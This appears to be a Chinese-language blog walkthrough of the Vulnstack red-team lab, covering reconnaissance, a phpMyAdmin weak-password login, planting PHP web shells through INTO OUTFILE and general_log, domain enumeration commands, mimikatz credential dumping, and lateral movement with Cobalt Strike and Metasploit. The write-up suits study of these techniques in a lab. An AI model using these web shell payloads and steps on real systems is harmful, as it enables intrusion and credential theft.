1. 程式人生 > 實用技巧 >Vulnstack靶機學習一(上)

Vulnstack靶機學習一(上)

一、前言

 這個是紅日的一個靶機,http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  並未按照介紹裡的點一個一個走,簡單記錄下過程。

  環境搭建:設定Win2K3 僅主機模式;winserver08 僅主機模式;win7新增一個網絡卡,一個設為僅主機模式,另一個設為NAT模式;攻擊機設為NAT模式。

  登入win7,可能要修改密碼。然後進入C:\phpStudy\檔案下執行phpstudy.exe

  攻擊機IP:192.168.157.137

二、資訊蒐集

  

nmap 192.168.157.0/24 -n -sP -sn

發現win7的IP為 192.168.157.138 ,探測開啟的服務

nmap 192.168.157.138 -O -sS -sV -v

訪問http://192.168.157.138/發現是一個PHP探針,能看到絕對路徑

對目錄進行爆破

dirb http://192.168.157.138/

發現了http://192.168.157.138/phpmyadmin/index.php

發現弱密碼root/root進入後臺

三、phpMyAdmin get shell

  1. 利用select into outfile 寫入shell

先檢視能否自定義匯出檔案目錄的許可權,結果為NULL意味著不允許匯入匯出資料到目錄。且只能在my.ini進行配置。

SHOW VARIABLES LIKE
"secure_file_priv";

如果能將my.inisecure_file_prive並將其值設定為""或"/",並重啟MySQL服務

select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';

進行一句話寫shell

  2. 利用日誌寫shell

檢視全域性變數 general_log、general_log_file

SHOW VARIABLES LIKE "general_log%";

general_log 預設關閉,,general_log_file為日誌儲存路徑。

寫shell的思路:更改general_log的值,將日誌儲存在能訪問的路徑下,且字尾名為php。然後通過log日誌進行寫入一句話木馬,然後再進一步利用。

set global general_log = "ON";
set global general_log_file = "C:/phpStudy/WWW/shell.php";

然後在日誌中插入一句話

SELECT '<?php eval($_POST["pass"]);?>'

用蟻劍連線http://192.168.157.138/shell.php

四、內網資訊蒐集

利用蟻劍虛擬端進行資訊蒐集,發現在執行net view一些命令時無回顯,利用CS生成木馬,回連beacon。因為是靶機調整心跳為1s。

記錄常用的資訊蒐集命令,cs執行shell命令時需加 "shell 命令",eg: "shell net view"

ipconfig /all
net view
net view /domain
net time /domain
能夠執行,說明此臺機器在域中 (若是此命令在顯示域處顯示 WORKGROUP,則不存在域,若是報錯:發生系統錯誤 5,則存在域,但該使用者不是域使用者)
net config workstation 查詢當前的登入域與使用者資訊
net lookup “域名”  nslookup 命令直接解析域名伺服器
net user /domain  檢視當前域的所有使用者
wmic useraccount get /all 獲取域內使用者的詳細資訊
net group "domain computers" /domain 檢視所有域成員計算機列表
net group "domain admins" /domain 檢視所有域控管理人員
net group "domain controllers" /domain 檢視與控制管理器
net group "enterprise admins" /domain 檢視企業管理組
net localgroup administrators /domain 檢視域控,升級為域控時,本地賬戶也成為域管
net accounts /domain 獲取域密碼資訊
nltest /domain_trusts 獲取域信任列表

通過資訊蒐集知道了域控IP、域控管理員、域內其他計算機。然後利用svc-exe進行提權

利用mimikatz抓取密碼匯出憑證

五、橫向移動

此時執行net view已經發現域控和另一臺機器,利用匯出的憑證能直接登入。

CS派生session給msf

現在msf監聽,通訊型別要與cs保持一致

msf:

cs:

kali上面執行,連線session解釋派生出來的會話

sessions
sessions -i 1

因為知道域控和另一臺機器再192.168.52.0/24段

新增路由:

嘗試了MS17-010、MS08-067未果。到這只是記錄下cs結合msf的運用,同理msf也可以派生session給cs。前面匯出的憑證登入域內兩臺機器

建立一個bind_tcp的listener 針對目標機器點選psexec

但是在OWA用憑證登入的時候,發現不能連線上,懷疑被攔了。這裡使用beacon SMB listener

SMB Beacon 使用命名管道通過父級 Beacon 進行通訊,當兩個 Beacons 連結後,子 Beacon 從父 Beacon 獲取到任務併發送。因為連結的 Beacons 使用 Windows 命名管道進行通訊,此流量封裝在 SMB 協議中,所以 SMB Beacon 相對隱蔽,繞防火牆時可能發揮奇效。

再次建立一個SMB listener ,從已有的beacon上面spwn,選擇建立的listener

然後再登陸憑證,OWA上線。